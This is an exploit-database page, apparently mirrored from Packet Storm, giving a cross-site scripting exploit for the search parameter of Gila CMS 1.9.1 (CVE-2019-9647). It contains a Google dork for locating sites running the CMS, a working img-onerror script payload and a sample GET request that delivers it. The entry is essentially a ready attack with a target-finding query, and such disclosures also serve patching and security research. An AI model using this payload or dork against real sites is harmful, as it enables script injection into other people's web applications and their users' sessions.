Sploitus

Exploit for Gila CMS 1.9.1 Cross Site Scripting

CVE-2019-9647

packetstorm · 2019-03-19

Exploit Code

MARKDOWN17 lines
## https://sploitus.com/exploit?id=PACKETSTORM:152153
# Exploit Title: Gila CMS (search) Cross Site Scripting  
# Google Dork: intext:"Powered By Gila CMS"  
# Date: 11.03.2019  
# Exploit Author: Ahmet Ãœmit BAYRAM  
# Vendor Homepage: https://gilacms.com  
# Software Link: https://gilacms.com/packages/downloadRelease/1.9.1.zip  
# Demo Site: https://gilacms.com/demo/  
# Version: 1.9.1  
# Tested on: Kali Linux  
# CVE: CVE-2019-9647  
  
# Vulnerable Parameter: search  
  
# Payload: <--`<img/src=` onerror=confirm``> --!>  
  
# GET Request: http://localhost/?search=<--`<img/src=` onerror=confirm``> --!>